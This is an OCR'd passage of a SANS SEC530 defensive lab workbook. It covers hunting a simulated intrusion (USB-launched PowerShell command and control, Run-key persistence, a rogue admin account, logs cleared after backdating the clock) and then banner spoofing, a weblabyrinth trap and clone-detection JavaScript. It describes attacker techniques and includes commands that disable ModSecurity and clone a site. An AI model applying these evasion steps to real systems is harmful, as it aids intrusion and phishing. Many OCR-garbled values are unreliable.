# wirtual host frequency score @ @ [0 % 6.603 \

# wirtual host length @ a@* 16

Note: It is incredibly rare that PowerShell should be making calls out to an external IP address. Exceptions
to this rule are custom in-house scripts that are easy to make exceptions for.

Next, scroll back to the top of the dashboard and remove your existing search filter. Then add a search
filter of "34.237.114.91" and then click on search.

34.237.11491 fmmm o Uses |L|0w

By searching for the external IP address, you are able to discover which systems made a connection to
the suspected malicious IP address.
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Look at the External Connections by Duration visualization. One connection clearly has a longer running
session than all other connections. Hovering over the bar shows that 10.0.1.51 had a connection lasting
over 7 hours.

External Connections by Duration ¥
=
-1 ¥ duration 7 hours
= 10.0.1.51
dest port 7 hours
dest port
To hone in on this connection, click on the bar.
External Connections by Duration o
: o Click on the
3 bar
-]
dest port
|
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Then scroll back up to the top of the dashbcard. Where it asks "Apply these filters?" click on Apply Now.

Dashboard / Editing Security Analytics - Network Traffic Analysis

34.237.114.91 /

Apply these filters? ¢ duration: 7 hours ¢ source_ip: 10.0.1.51 [ENUAGLE Cancel

Scroll back to the bottom of the dashboard and look at the Network Connection - Default Saved Search
table. It shows the socket involved with this connection was 10.0.1.51:50724 to 34.237.114.91:443.

Metwork Connection - Default Saved Search
Time event_type source_ip source_port destination_ip destination_port
»  April 14th 2018, 02:09:22.227  conn 10.0.1.51 50,724 34.237.114.9 443

Once more, scroll to the top of the dashboard and remove the search filters for duration: 7 hours and
source_ip: 10.0.1.51 by hovering over them and clicking on the trash can icon.

34.237.114.91

o« |Q|® =

source_ip: "10.0.1.51"  EENGERIIEE

34.237.114.91

Add a filter 4

Once the only search filter displayed is "34.237.114.91" scroll down to the Network Connections from
Host visualization. The table links connections to processes.
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Note: This table uses Sysinternals Sysmon logs which are collected from Windows endpoints. Sysmon is
incredibly powerful and highly recommended.

letwork Connections from H
Time event_data.Sourcelp beat.hostname event data.Destinationlp event_data.DestinationPort event_data.lmage
v April 14th 2018, 01:51:45.816  10.0.1.51 CEO 34.237.114.91 80 C:\Windows\System32\WindowsPowerShellw1.0\powershell.exe
v April 14th 2018, 01:51:50.610  10.0.1.51 CEO 34.237.114.91 443 CAWindows\SysWOwed\WindowsPowerShellw1.0\powershell.ex
e
» April 14th 2018, 01:52:42.133  10.0.1.51 CEO 34.237.11491 443 C:\Windows\Systemn32\rundli32.exe
»  April 14th 2018, 01:53:10.927 10.0.1.51 CEO 34.237.114.91 80 C:\Windows\System32\rundli32.exe
v April 14th 2018, 01:53:42.464  10.0.1.51 CEO 34.237.114.91 8080 C\Windows\System32\rundlI32.exe

This table shows that connections are being made from powershell.exe and rundll32.exe to
34.237.114.91 from an internal system called CEO. Expanding these shows more information.

For example, expand the last connection log in this table.

Metwork Connections from Host

»  April 14th 2018, 01:52:42.133  10.0.1.51 CEO 34.237.114.9 443

»  April 14th 2018, 01:53:10.927  10.0.1.51 CEO 34.237.114.9 80

b April 14th 2018, 01:53:42.464  10.0.1.51 CEC 34.237.114.9 8080
II' April 14th 2018, 01:55:11.250  10.0.1.51 CEO 34.237.114.9 443

b %Mh 2018, 01:58:44.6894  10.0.1.51 CEO 34.237.114.9 443

This log shows the source port involved is 50724. This is the connection associated with the longest
running command and control session. It also shows it was launched by SWuvVPTy.exe.

t event data.DestinationIp @ Q [ % 34.237.114.01
t event data.DestinationIsIpve @ & [0 % false

t event data.DestinationPort @ e M % 443
t event data.DestinationPortName @ & [0 % https

t event data.Image @ Q [ % C:\Users\CWEIL~1.LAB\AppData\Local\Temp’ rad54EB6E. tmphSWuvVPTy.exe
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event data.
event data.
event data.
event data.
event data.

event data.

SourceHostname @ & [0 %k CED.labmeinc.internal
Sourcelp @ a0 *x 18.0.1.51

SourcelsIpwv6 @ g [ %k false

SourcePort @ a M % 50724 ‘P

User @ Q@ [ % LABMEINC\cweil

UtcTime @ & @M %k 2018-04-14 03:21:24.588

Answers: The cousin domain being used is 1abmeinc.com. The longest running connection is from
10.0.1.51:50724 to 34.237.114.91:443. Command and control are being maintained using
powershell.exe, rundll32.exe, and an executable called SWuvVPTy.exe.

Bonus Answer - Find the registry key used for persistence

To find out more about the long-running command and control connection find the entry in the Network
Connections from Host table and click on Explore Process. This was the last log on the table.

April 14th 2018, 01:55:11.290 10.0.1.51 CED  34.237.114.91

April 14th 2018, 01:58:44.694 10.0.1.51 CED  34.237.114.91

443 C\Users\CWEIL~1.LAB\AppDatatLocal\Tempirad54EB6.tmpiSWu  LABMEINC\cweil  Explore Process

WWPTy.exe

443 C\Users\CWEIL~1.LAB\AppDatat\Local\Tempirad54EB6.tmpiSWu  LABMEINC\cweil  Explore Process

WWPTy.exe

This will open a new tab with related endpoint logs dealing with the SWuvVPTy.exe process. Looking at
the three logs shows related process creation and network events. Specifically, expand the last log which
occurred on 01:55:10.048.

[-]

Time

April 14th 2818, 81:58:44.694

April 14th 2818, 81:55:11.290

event_data.SourceHostname event_data.Sourcelp
CEOD.labmeinc.internal 10.0.1.51
CEO.labmeinc.internal 10.0.1.51

ril 14th 2018, ©01:55:10.048

event_data.DestinationHostname

ec2-34-237-114-91. compute-
1.amazonaws . com

ec2-34-237-114-91. compute-
1.amazonaws . com

Looking at this log shows that SWuvVPTy.exe process was launched by a parent process cscript.exe
loading a VBScript called BKytwB.vbs.

t event data.Image @ g @ * C:\Users\CWEIL~1.LAB\AppData‘\Local\Temp\rad54EB6.tmp\SWuvVPTy.exe
t event_data.IntegritylLevel €@ & (0 * High
t event data.logonGuid @ @ M * {4815EB8B-6295-5AD1-0000-00208A654900%
t event_data.LogonId @ @ M * 0x49658a ‘
t event data.ParentCommandLine & & @ % cscript "C:\Users\CWEIL~1.LAB\AppData\Local\Temp\BkytwE.vbs"
t event_data.ParentImage @ @ [M %« C:\Windows'System32\cscript.exe
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To find out more about this script scroll to the tep and remove the event_data.lmage filter by hovering
over it and clicking on the garbage can icon, add a search of BkytwB.vbs and then click on search.

BkytwB.vbs “ e o Uses IuceneqM

This will result in four logs. Expanding the second log that occurred on April 14 at 01:55:09.894 shows
the registry key MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RmDOKCRz is what is
being used to maintain persistent access to the CEO machine.

[+] April 14th 2018, 81:55:09.894

Table JSON

@ @timestamp @ Q @ % April 14th 2018, 91:55:09.894

t @version aaD*1

t id @ Q M * 9m65wmIBNNCk immTP2i

t _index @ @ @ * winlogheat-2018.04.14

# score m

t _type @ q @ * doc

t beat.hostname @ Q [0 %k CE0

t beat.name @ e @ * CE0

t beat.version @ ([%k 6.0.0

t computer name @ & M %k CE0.labmeinc.internal {
t event data.Details @ (D % C:\Users\CWEIL~1.LAB\AppData\LocalyTemp\BkytwB.vbs

t ewvent data.EventType @ @ [ %k SetValue

t event_data.Image @ Q [ % C:\WINDOWS\system32\rundll32.exe

t ewvent data.ProcessGuid @ @ [ * {4815EB8BE-9764-5AD1-0000-0010ECED3201}
t event data.ProcessId @ @ @ * 5812

t event _data.TargetObject @ @ (D % ‘\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RmDOKCRz

Note: This event belongs to event ID 13 of Sysmon. It deals with monitoring registry modification.

Extra Note: The same process of using the Explore Process link on the Security Analytics - Network
Traffic Analysis can be used to find out additional information about how powershell.exe was originally
invoked. However, this lab deals with identifying key areas for automated monitoring rather than the
analysis/investigation process itself.
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2. Find attacks with endpcint logs

Next, investigate endpoint logs by using a different dashboard. First, click on Dashboard on the left menu
and then click on Dashboard in the top left corner.

Dashboard / Security Analytics - Network Traffic Analysis
‘ P ELE!

Search... (22" Sals: 200 AND extension:PHP)

Discover Add a filter 4

II Yic iTe i . — — — . . /
s visualize ; |:ot|c5 - Source to External Destination by Bytes

Dashboard iy .

endin

Then click on Security Analytics - Windows Host Analysis.

search... 1-40f4 € 2

Name Description Actions
Security Analytics - Email: Inbox Edit
Security Analytics - Email: Inbox - Newest Architecture Diagram Edit
Security Analytics - Network Traffic Analysis Edit
Security Analytics - Windows Host Analysis Edit
\ 1-40f4 £ ?

The default view shows many logs coming from many systems. However, based on the network analysis
performed during step one, the only connections to the command and control server came from the CEO
computer. To hone in on this system, click on Add a filter. Then set the filter field to beat.hostname,
select is as the operator, and then select CEO. Finally, click on Save.
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Add filter

Filter

Addafiter 4 oy o

X

Edit Query DSL

v |

beat.hostname - s = | CEO

Label

\ 6\

E Cancel

After clicking on Save, the dashboard will update. The first graph called Windows Events by Source Name
uses icons to identify and annotate when key events occur automatically. Hovering over the first asterisk

shows that a USB device was inserted on April 14" at 1:51 AM.

Optional

w,
4

Note: 1:51 AM was when the initial powershell.exe process called out to 34.237.114.91.

Windows Events by Source Name

nsert

‘51 AM

ed on CEQ &8

Apr 14,
LSBE device |

The second asterisk shows a random service called atkzkk was created using the built-in System account
at 1:53 AM.
The red alert annotation reflects that a local user called hacktheplanet was added to the Administrators

group.
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windows Events by Source Name

s group on CEC

To find out when hacktheplanet was created add the search filter of event_id:4720 and then click on
search.

event_id:4720 ‘ Uses lucene guery syntax

beat.hostname: "CEQ" Add a filter 4 Actions »

This will show that the user hacktheplanet was created at 1:57 AM which was the same time as when it
was added to the local Administrators group.

Windows Events by Source Name

Apr 14, 2018 1:57 AM

Local user hacktheplanet added to CEO

ﬂ 1

Clear the search filter by removing event_id:4720 and then click on search again.
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search... (e.g. status:200 AND extension:PHP)  Uses lucene query synta

beat.hostname; "CEQ" Add a filter 4 Actions»

Next, take a look at the visualization called Security Analytics - Honey Files. It shows two files being
accessed on CEO. They are C:\Confidential\unprocessed_credit_cards.xlsx and
C:\Old\employee_records.xIsx.

Security Analytics - Honey Files

host
honey file

CEO C:AConfidential\unprocessed_credit_cards.xlsx

CEO CAOldvemployee_records.xlsx

Note: These are fake files placed on all assets in Lab Me Inc., with auditing enabled on them. By having
these files exist, and enabling auditing on them, a log is generated any time someone accesses them.
However, they are intended never to be accessed, so the fact that someone accesses them is a huge red
flag that unauthorized access is occurring. These files are doubly effective as any automated script or
method to crawl a system's hard drive will trigger an audit log.

Answer: The unauthorized service created is called atkzkk. The new user account created was
hacktheplanet. This account was also added the local Administrators group on the CEO workstation.
Also, the files unprocessed_credit_cards.xlsx and employee_records.xlsx were accessed on the CEO
workstation even though they are intended never to be accessed.

Bonus Walkthrough:

To find out how this attack was initiated submit a search for "event_id:2003 OR event_id:6416".

event_id:2003 OR event_id:6416 Uses lucene guery syntax

beat.hostname: "CEQ" Add a filter 4 Actions ¥

Note: Event ID 6416 is part of the Windows Security channel and is generated only when a new USB
device is inserted for the first time. Event ID 2003 is part of the Microsoft-Windows-DriversFramework
channel (which is disabled by default). It logs USB insertions and removals regardless of first use or
subsequent use.

Expanding the first log in the Windows Default Saved Search table shows that the DeviceDescription is
set to BashBunny. This is a pentesting USB device from Hak5. In this case, it was used to emulate a
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keyboard and to faunch a PowerShell based command and control to www.labmeinc.com.

t computer_name @ & [ % CEOD.labmeinc.internal
t event data.ClassId @ & [0 % {EECSAD9E-8080-425F-922A-DABF3DEIFE9A}
t event data.ClassName @ 8 [ %« WPD
t event data.Compatiblelds @ e O *
wpdbusenum', fs
SWDA\Generic
t event data.DeviceDescription @ € [0 % BashBunny / /
t ewvent data.Deviceld @ & [0 % SWD\WPDBUSENUMY 7?7 USBSTOR#Disk&Ven &Prod &Rev BOOO#952TaB3

To find out where logs have been cleared change the search filter by removing "event_id:2003 OR
event_id:6416" and replacing it with "event_id:1102". Then click search.

event_id:1102 Uses lucene query syntax

beat.hostname: "CEQ" Add a filter 4 Actions ¥

Note: Event ID 1102 deals with logs being cleared.

After clicking search, the dashboard will be empty. At first glance, it seems that logs have not been
cleared. You could try removing the filter for beat.hostname: "CEQ" but the results would be the same.
What is happening is the individual responsible for this attack performed a trick to hide the log that the
logs have been cleared. This was performed by changing the date on the computer before clearing the
logs.
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To see the log for the event log being cleared click on the time picker in t
on Relative. Finally, set From to 50 years ago.

e top right corner. Then click

Share Clone Edit C Auto-refresh € O April 14th 2018, 01:46:59.134 to April 14th 2018, 02:15:19.670 >

Time Range 9 r

Quick Relative M
From SetToMow To Set To Now
April 14th 1968, 23:47:52.191 April 14th 2018, 01:47:47.162

30 | Years ago b | 22 Hoursago ~

round to the hour

round to the r
6 —
9 o Uses lucene query syntax n

Now the Windows Events by Source Name timeline will have a single alert annotation showing the logs
were cleared on CEO on Dec 10™, 1979. Looking at the actual logs in any of the tables found within the
dashboard show the date the logs were cleared on Jan 1%, 1980. The reason for the annotation
discrepancy is because the chart struggles with annotating over a 50-year span.

So logs were cleared on the CEO workstation, and the attacker chose 1980 as the date to clear them in.

Note: While this may seem stealthy it is not. A SIEM receiving logs from back in time should generate an
alert for such activity. Especially something like logs being cleared in the past. Unfortunately, many SIEMs
are configured to treat historical logs as corrupted logs and instead drop them.

Lab Conclusion

In this lab, you have discovered multiple logs of interest to identify unauthorized activity. By doing so, you now
should:

e Know what to look for when creating automated alerts

e Know what logs are tactical and helpful for identifying unauthorized activity

e Understand that log analysis means more than log collection

e Be able to use both network and endpoint logs interchangeably

e Be able to use interactive dashboards to drive analysis

Lab 5.2 is now complete!
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Exercise 5.3 — Advanced Defense Strategies

Objectives

Modify service banners to protect against automated exploit tools

Implement infinitely recursive pages to protect against automated web scanners
Identify adversary cloning site for phishing purposes

Enhance detection capabilities

Design defenses against modern attack methodologies

Exercise Preparation

Log into the Sec-530 VM
e Username: student
e Password: Security530

Terminal Google Chrome

This lab involves applying advanced defensive techniques against the local Apache service running on your
student VM. If you are using the digital wiki, it is important that you do not close the tab containing the digital
wiki during this lab. Otherwise, if you break the Apache configuration, you will not be able to reopen the
digital wiki until it is fixed.

The command below will restore a backup of all Apache configurations. This allows you to repeat the lab or fix
a broken Apache configuration.

$ sudo pwsh /labs/check.psl -check precheck -lab 5.3
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Exercise: No hints

1.

Protect 172.17.0.1 by changing its service header
e Limit the information displayed in the native Apache service header
e Change the service header to display Microsoft-11S/10.0
Install weblabyrinth to defeat automated web scanning tools
e The weblabyrinth web files exist in /opt/weblabyrinth. Either symlink these to
/var/www/sec530-wiki/labyrinth or copy them to /var/www/sec530-wiki/labyrinth
e Verify weblabyrinth works by accessing http://172.17.0.1/labyrinth
Implement JavaScript code to detect someone using your site for phishing attacks

Any changes made to Apache require running "sudo service apache2 restart" for the configuration to be
reloaded.

Exercise — Step-by-step instructions

1. Change service header
Run the command below to see the current service banner your student VM is using.
$ curl -I http://172.17.0.1/index.md
The output will look similar to below.
[~]S curl -l http://172.17.0.1/index.md
HTTP/1.1 200 OK
Date: Fri, 16 Mar 2018 17:39:16 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Thu, 08 Mar 2018 22:23:27 GMT
ETag: "d6c-566eelfedf383"
Accept-Ranges: bytes
Content-Length: 3436
Note: The service banner is Apache/2.4.18 (Ubuntu). This is the default representation of Apache on a
modern operating system. Unfortunately, this information helps an adversary identify exploits specific to
the version of Apache and identifies the operating system as Ubuntu. Knowing the operating system
helps an adversary to attack the underlying operating system or perform evasion techniques such as WAF
evasion. The Last-Modified and Content-Length may be different on your student VM.
To minimize the service banner edit /etc/apache2/conf-enabled/security.conf using the command
below.
S sudo gedit /etc/apache2/conf-enabled/security.conf
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Scroll down to the ServerTokens section. Comment out ServerTokens OS and uncomment ServerTokens
ProductOnly. Your configuration file should look like below.

+ security.conf

Jetc/apache2/conf-enabled Save|| — + X

Open v

File Edit View Search Tools Documents Help

# ServerTokens
# This directive configures what you return as the Server HTTP response
# Header. The default is 'Full' which sends information about the 0S-
Type

# and compiled in modules.

# Set to one of: Full | OS | Minimal | Minor | Major | Prod

# where Full conveys the most information, and Prod the least.
ServerTokens ProductOnly
#ServerTokens Minimal
#ServerTokens 0S
#ServerTokens Full

Click on Save. Do not close out of the text editor.

Vo

Note: If you receive any WARNING messages in your terminal related to gedit ignore them.

|Save| - + b 4

Open a second terminal and restart Apache with the command below.

S sudo service apache2 restart

Again, run the command below to see the current service banner your student VM is using.

$ curl -I http://172.17.0.1/index.md

Now the service banner has been significantly minimalized. It now only shows that the server is running
Apache.

[~]$ curl -I http://172.17.0.1/index.md
HTTP/1.1 200 OK

Date: Fri, 16 Mar 2018 17:41:20 GMT

Server: Apache

Last-Modified: Thu, 08 Mar 2018 22:23:27 GMT
ETag: "d6c-566eelfedf383"

Accept-Ranges: bytes
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Content-Length: 3436

Note: Minimizing the service banner as you just did is supported by most web services natively. However,
most will not let you completely hide the web service in use. However, reverse proxy solutions such as
ModSecurity or other commercial products allow you to change the service banner completely.

Next, you are going to completely change the service banner using ModSecurity's SecServerSignature
capability.

Switch back to the text editor. This time comment out ServerTokens ProductOnly and uncomment
ServerTokens Full.

security.conf

‘ Open v i+ | Jetc/apache2/conf-enabled

Save|| = + X

File Edit View Search Tools Documents Help

# ServerTokens
# This directive configures what you return as the Server HTTP response
# Header. The default is 'Full' which sends information about the 0S-
Type

# and compiled in modules.

# Set to one of: Full | OS | Minimal | Minor | Major | Prod

# where Full conveys the most information, and Prod the least.
#ServerTokens ProductOnly
#ServerTokens Minimal
#ServerTokens 0S
ServerTokens Full

Note: For SecServerSignature to work you must have ServerTokens set to Full.

Scroll down a little bit, and you will find ServerSignature On. Directly below this line enter the following
configuration.

SecServerSignature "Microsoft-IIS/10.0"

Your configuration should look like below.

| security.conf - + X
| Qrenss | s Jetc/apache2/conf-enabled | s |
File Edit View Search Tools Documents Help
WLl VOl JAIIULUL S VL
ServerSignature On
SecServerSignature "Microsoft-II1S/10.0"
Click on Save.
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Save - + x

”

Note: If you receive any WARNING messages in your terminal related to gedit ignore them.

Go ahead and close out of the text editor by clicking on the X in the top right corner.

W

Save - +

’

Switch back to your terminal and restart Apache with the command below.

S sudo service apache2 restart

Again, run the command below to see the current service banner your student VM is using.

$ curl -I http://172.17.0.1/index.md

The output should now show the web service is running Microsoft-11S/10.0 even though it is really
Apache 2.4.18.

[~]1$ curl -I http://172.17.0.1/index.md
HTTP/1.1 200 OK

Date: Fri, 16 Mar 2018 17:53:04 GMT

Server: Microsoft-IIS/10.0

Last-Modified: Thu, 08 Mar 2018 22:23:27 GMT
ETag: "db6c-566eelfedf383"

Accept-Ranges: bytes

Content-Length: 3436

At this point, an automated attack or script that uses the service banner is highly likely to fail. For
example, run Nmap to service scan the web service using the command below.

$ nmap -A -p 80 172.17.0.1

The output of the nmap scan will look like below.
[~]$ nmap -A -p 80 172.17.0.1

Starting Nmap 7.01 ( https://nmap.org ) at 2018-03-16 13:54 EDT
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Nmap scan report for 172.17.0.1

Host is up (0.00016s latency).

PORT STATE SERVICE VERSION

80/tcp open http Microsoft IIS httpd 10.0

| http-server-header: Microsoft-IIS/10.0

| http-title: 403 Forbidden

Service Info: 0OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 6.97 seconds

Based on the results, Nmap thinks the web service is IIS 10 and that the underlying operating system is a
Windows box. For a defender, this is fantastic! Now attacks targeting the web service may target the
wrong web application and the wrong operating system.

Note: This adds to your ability to detect an attack as well as prevent an attack from being successful. All
while keeping the same functionality to the site. For example, if you were to access the wiki from
http://172.17.0.1/#!index.md, it would like identical as changing the service banner does nothing to how
the content is presented to clients.

2. Set up weblabyrinth

The next defense technique involves setting up a web folder that, when scanned, creates an infinitely
recursive page or series of pages. To do this, you will be implementing the weblabyrinth.

Note: The weblabyrinth requires PHP and SQLite to work. These are already installed on your student
VM.

The first step is to either copy the weblabyrinth folder to your website or symlink it. Symlink the files
using the command below.

$ sudo 1n -s /opt/weblabyrinth/ /var/www/sec530-wiki/labyrinth

Note: Symlink can be more beneficial as you can symlink the weblabyrinth files to multiple sites. This
configuration allows you to centrally maintain, or make changes, if necessary.

Next, access the labyrinth files using Google Chrome by issuing the command below.

$ google-chrome http://172.17.0.1/labyrinth &

Google Chrome should successfully access a randomly generated page that looks like below.
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/ - \
_,.-f [ labyrinth x \)

“ e

€ 1} | ® 172.17.0.1/labyrinth/ %O i

i Apps For quick access, place your bookmarks here on the bookmarks bar. Import bookmarks now...

Very likely true. Down, somewhere.” Dowl
couldn't how | wish | time to hear it gener

stairs! How brave bats? and sometimes,
down here with it over afterwards, it and

when the Rabbit actually saw maps and pictures was a little door ever to get out few things indeed were a bat, and that's right distance-
-but then | against herself, for this eat a bat™ when herself, for this curious this, but at the Alice to herself, 'in into the loveliest garden
grand words to say. Coming to, but it might catch a bat, of the country is, be no use in actually TOOK A WATCH and behind it was
nothing but out-of-the-way her head through the up and picking the would be four thousand to get very tired ‘which certainly was not
you drink much from good advice, though she wonder what | should listen to her, still the wind, and was scolded herself so severely
long passage, and the of a book,' thought Alice began to get when the Rabbit actually bats eat cats? for, was all very well size: to be
found she could not inches high: she tried White Rabbit with pink so many out-of-the-way things about stopping herself before it? "And
what an know," said Alice to little three-legged table, all the words 'DRINK ME" dream that she was go through,’ thought poor down

inches high: generally happens when one book-shelves; here and there her head to feel

n, down, down. She was ever to hall, which was lit her knowledge, as there see, as she
ally gave herself very stopping herself before she curtain she had not get her head through

'Do not like to drop and though this was bottle on it, 'which the jar for fear she opened it, were
that if you rate a book of alas! either the locks get out of that rabbit with either a about fifteen

Click on one of the links. These are identified by their blue color.

\

!;’ [y labyrinth x \

€ {3 © 172.17.0.1/labyrinth/

=== Apps For quick access, place your bookmark

Very likely tru , somewhere
couldn't how | h | time to hear it

-but then

when the bit actually saw maps and pictures
inst herself, for this eat a bat?' whe

. Down, down
generally gav

After clicking on one of the links you should see a page not found error.

Not Found

The requested URL /labyrinth/Nzg3MDAyMTM was not found on this server.

Microsoft-11S/10.0 Server at 172.17.0.1 Port 80

Note: The page is not loading because Apache has not been configured to allow .htaccess rewrite rules to
function, which are required for the weblabyrinth to function.

Next, edit the Apache site configuration using the command below.

$ sudo gedit /etc/apache2/sites-enabled/000-default.conf

When the text editor opens, scroll down until you see ServerAdmin and DocumentRoot. Below these
enter the following configuration.
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<Directory /var/www/sec530-wiki/labyrinth>
Options Indexes FollowSymLinks MultiViews
AllowOverride FileInfo Options
Order allow,deny
allow from all

</Directory>

The configuration file should look as follows:

*000-default.conf

|DF}EFI v || = | [etc/apache2/sites-enabled

|Save| -

File Edit View Search Tools Documents Help

ServerAdmin webmaster@localhost
DocumentRoot /var/www/sec530-wiki

<Directory /var/www/sec530-wiki/labyrinth=
Options Indexes FollowSymLinks MultiViews
AllowOverride FilelInfo Options
Order allow,deny
allow from all

</Directory>

Click on Save.

y

Note: If you receive any WARNING messages in your terminal related to gedit ignore them.

‘Save| - + b 4

Go ahead and close out of the text editor by clicking on the X in the top right corner.

|5a1.re! = + >
|

”

Switch back to your terminal and restart Apache with the command below.

$ sudo service apache2 restart

Now switch back to Google Chrome. Click on the refresh icon to reload the page.
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/ [ 404 Not Fou x \T
€ & C™B | © 172.17.0.1/labyrinth/NZg3MDAYMTM

i** Apps For quick access, place your bookmarks here on the bookm3

This time the page loads correctly.

i b
/ [ NZg3MDAYyMTM x \}

& C 0} | © 172.17.0.1/labyrinth/NZg3MDAYMTM

:=* Apps For quick access, place your bookmarks here on the bookmarHd

It except a tiny OF ITS WAISTCOAT-POCKET, and possibly reach it: sh
if | fell down a large rabbit-hole flame of a candle should think!" Dinah w
when Alice had been like a telescope! | was now the right falling throug

Try clicking on another blue link and see what happens.

/ [ NZg3MDAYMTM %\

==

€« G 0 | ® 172.17.0.1/labyrinth/NZg3MDAYM

::° Apps For quick access, place your bookmarks here on the bookma

It except a tiny OF ITS WAISTCOAT-POCKET, and possibly reach it:
if I fell down r rabbit-hole flame of a candle should think!" Dinah
when Alice been like a telescope! | was now the right falling throd

up somewhere.' Down, | shall be late!" 'l hope they'll remember say to

Another page loads. The weblabyrinth is functioning correctly and is infinitely creating new pages. To test
that this prevents web scanners and exploit tools from completing scans, use wget using the command

below.

$ wget -e robots=off --spider --recursive
http://172.17.0.1/1labyrinth/

This will show output like below.

Spider mode enabled. Check if remote file exists.
--2018-03-16 14:35:22-- http://172.17.0.1/labyrinth/MjAzNjgxMA

Reusing existing connection to 172.17.0.1:80.
HTTP request sent, awaiting response... 200 OK

Length: unspecified [text/html]
Remote file exists and could contain links to other resources

retrieving.

--2018-03-16 14:35:22-- http://172.17.0.1/labyrinth/MjAzNjgxMA
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Reusing existing connection to 172.17.0.1:80.

HTTP request sent, awaiting response... 200 OK
Length: 2749 (2.7K) [text/html]

Saving to: ‘172.17.0.1/labyrinth/MJjAzNjgxMA.tmp.tmp’

172.17.0.1/1labyrint 100% [===================>] 2.68K --.-KB/s in
Os

2018-03-16 14:35:22 (351 MB/s) -
‘172.17.0.1/1labyrinth/MjAzNjgxMA.tmp.tmp’ saved [2749/2749]

Removing 172.17.0.1/labyrinth/MjAzNjgxMA.tmp.tmp

This will continue forever. Press CTRL + C to stop the web scan.

Note: This technique works best when a robots.txt file exists that tells legitimate crawlers to ignore
/labyrinth. Attack tools and unauthorized vulnerability scanners will hone in on robots.txt and
intentionally scan files or folders they are not supposed to. Should an attack tool do this, one of two
things usually happens: the attack tool never completes scanning, or after a set period it stops scanning
but returns that the scan completed successfully. Both of which are wins for the blue team.

3. Identify site cloning

An adversary may clone one of your organization's websites to use against you in a phishing attack. It is
possible to detect this using JavaScript.

Modify the home page of your local web server using the command below.

$ sudo gedit /var/www/sec530-wiki/index.md

Directly under the "Welcome to the SANS SEC530 Wiki" and "---------- " add the following configuration.
<script>
if (document.domain != "security530") {

var 1 = location.href;

var r = document.referrer;

var m = new Image();

m.src = "http://security530/"+

"SEC530 Phishing Detection.jpg?l="+
encodeURTI (1) + "&amp;r=" + encodeURI(r);

}
</script>

Your configuration file should look like below. Be sure there is an empty line under "</script>" or else the
page will not load.
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o index.md

Open v Jvar/www/sec530-wiki

Save - + X

File Edit View Search Tools Documents Help

Welcome to the SANS SEC530 Wiki
<script>
if (document.domain != "security530") {
var 1 = location.href;
var r = document.referrer;
var m = new Image();
m.src = "http://security530/"+
"SEC530 Phishing Detection.jpg?l="+
encodeURI(1) + "&amp;r=" + encodeURI(r);

} i : -
</script> Empty line is required

I[Cyber Defense](CyberDefense logo.]jpg)

Click on Save.

y

Note: If you receive any WARNING messages in your terminal related to gedit ignore them.

‘Save| - + b 4

Go ahead and close out of the text editor by clicking on the X in the top right corner.

|5a1.re! — s
|

”

In your terminal, follow the Apache log for the local web server with the command below.

$ tail -f /var/log/apache2/access.log

Note: It may be helpful to press ENTER a few times within the terminal that is tailing access.log. This will
make it easier to see what content is being requested.

Switch back to Google Chrome and browse to "http://security530/#!index.md".
The SEC530 wiki page should load. The important piece is to look at the logs generated in your terminal
window. They should only contain entries such as below. The number of logs generated depends on what

content Google Chrome has cached.
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127.0.0.1 - - [16/Mar/2018:15:10:16 -0400] "GET / HTTP/1.1"™ 200 104487
"-" "Mozilla/5.0 (X11; Linux x86 64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/65.0.3325.162 Safari/537.36"

127.0.0.1 - - [16/Mar/2018:15:10:16 -0400] "GET /config.json HTTP/1.1"
404 494 "http://security530/" "Mozilla/5.0 (X11; Linux x86_ 64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.162
Safari/537.36"

127.0.0.1 - - [16/Mar/2018:15:10:35 -0400] "GET / HTTP/1.1™ 200 104488
"-" "Mozilla/5.0 (X11l; Linux x86 64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/65.0.3325.162 Safari/537.36"

127.0.0.1 - - [16/Mar/2018:15:10:35 -0400] "GET /navigation.md
HTTP/1.1"™ 200 2404 "http://security530/" "Mozilla/5.0 (X11; Linux

x86 64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.162
Safari/537.36"

127.0.0.1 - - [16/Mar/2018:15:10:35 -0400] "GET /config.json HTTP/1.1"
404 494 "http://security530/" "Mozilla/5.0 (X11; Linux x86_ 64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.162
Safari/537.36"

127.0.0.1 - - [16/Mar/2018:15:10:35 -0400] "GET /index.md HTTP/1.1" 200
3957 "http://security530/" "Mozilla/5.0 (X11; Linux x86 64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.162
Safari/537.36"

127.0.0.1 - - [16/Mar/2018:15:10:35 -0400] "GET /CyberDefense logo.jpg
HTTP/1.1"™ 200 7706 "http://security530/" "Mozilla/5.0 (X11; Linux

x86 64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.162
Safari/537.36"

The following pages were loaded by the http://security530/#!index.md request.

/

/navigation.md
/index.md
/CyberDefense_logo.jpg

Open a second terminal window by clicking on the terminal icon in the top left corner.

In the second terminal window, run the commands below to disable ModSecurity temporarily.

$ sudo sed -i 's/\#SecRuleEngine Off/SecRuleEngine Off/'
/etc/modsecurity/modsecurity.conf

$ sudo sed -i 's/\SecRuleEngine On/\#SecRuleEngine On/'
/etc/modsecurity/modsecurity.conf

S sudo service apache2 restart
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Note: Disabling ModSecurity is necessary because the next command involves cloning the site and
content within the Wiki page accidentally is flagged as data exfiltration by the default ModSecurity CRS
rules.

In the second terminal window, run the command below to clone the index.md file. Only a single file is
being closed to speed up the lab.

S wget —--convert-links --adjust-extension --page-requisites —--no-
parent http://Security530/index.md

Note: This command uses wget to clone a site for offline use. An attacker can use wget or more
sophisticated tools like the Social Engineer Toolkit (SET) to clone an organization's website. Once cloned,
the site can be used against the organization for phishing.

Next, open the cloned site using the command below.

$ google-chrome security530/index.md.html

Google Chrome will open the cloned page. The page will not display fully because images and other
content were not cloned and Google Chrome is not interpreting markdown. However, the special
JavaScript added was cloned with the page and executed.

[ index.md.html X

2 1) |(D file://fhome/student/security530/index.md.html

i8 Apps For quick access, place your bookmarks here on the bookmarks bar. Import bookmarks now...

